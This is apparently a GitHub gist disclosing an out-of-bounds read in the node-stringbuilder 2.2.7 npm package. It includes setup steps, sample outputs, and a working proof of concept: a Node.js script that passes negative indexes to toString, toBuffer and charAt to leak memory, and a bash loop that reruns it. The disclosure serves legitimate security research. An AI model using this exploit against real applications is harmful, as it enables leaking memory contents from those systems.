Skip to content

Instantly share code, notes, and snippets.

@dellalibera
Created January 15, 2024 09:20
Show Gist options
  • Save dellalibera/0bb022811224f81d998fa61c3175ee67 to your computer and use it in GitHub Desktop.
Save dellalibera/0bb022811224f81d998fa61c3175ee67 to your computer and use it in GitHub Desktop.
Out-of-bounds Read in node-stringbuilder@v2.2.7

Information

Package: node-stringbuilder

Tested Version: 2.2.7

GitHub Repository: https://github.com/magiclen/node-stringbuilder

Vulnerability: Out-of-bounds Read

Details

Due to incorrect memory length calculation, by calling ToBuffer, ToString, or CharAt on a StringBuilder object with a non-empty string value input, it's possible to return previously allocated memory, for example, by providing negative indexes.

Vulnerable code (napi_create_string_utf16):

Similar issue:

Setup

Tested on:

Ubuntu 22.04.3 LTS
Node v18.19.0

Installation:

sudo apt-get install build-essential
npm i node-stringbuilder
chmod +x ./run.sh

PoC

Usage

./run.sh <poc1|poc2|poc3> <max_interations>

NOTE: It could happen that to see the previously allocated memory data printed, the ./run.sh has to be executed multiple times. If you don't see any random bytes printed, run the ./run.sh again.

  • poc1
./run.sh poc1 50

Output:

...
Running poc1
[+] toString
AA<random-data>
Status code is -1. Exiting the loop.
  • poc2
./run.sh poc2 50

Output:

...
Running poc2
[+] toBuffer
AA<random-data>
Status code is -1. Exiting the loop.
  • poc2
./run.sh poc3 10

Output:

...
Running poc3
[+] charAt
<random-byte>
Status code is -1. Exiting the loop.

Impact

Information Disclosure

Author

Alessio Della Libera

const StringBuilder = require("node-stringbuilder");
const sb = new StringBuilder("AAA");
function poc1() {
let s = sb.toString(-2, 0);
if (s != undefined && s.length > 2) {
console.log("Running poc1");
console.log("[+] toString");
console.log(s);
process.exit(-1);
}
}
function poc2() {
let s = sb.toBuffer(-2, 0).toString();
if (s != undefined && s.length > 2) {
console.log("Running poc2");
console.log("[+] toBuffer")
console.log(s);
process.exit(-1);
}
}
function poc3() {
let s = sb.charAt(-1).toString();
if (s != undefined && s.length > 0) {
console.log("Running poc3");
console.log("[+] charAt")
console.log(s);
process.exit(-1);
}
}
const pocs = new Map();
pocs.set('poc1', poc1);
pocs.set('poc2', poc2);
pocs.set('poc3', poc3);
function run() {
const args = process.argv.slice(2);
const p = args[0];
const poc = pocs.get(p) || poc1;
poc();
}
run();
#!/bin/bash
poc=$1
max_iter=$2
i=0
node poc.js $poc;
while [ $i -lt $max_iter ]
do
echo $i;
node poc.js $poc;
status=$?;
# check the status code to stop the loop
if [ $status -eq 255 ];
then
echo "Status code is -1. Exiting the loop."
break
fi
((i++));
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment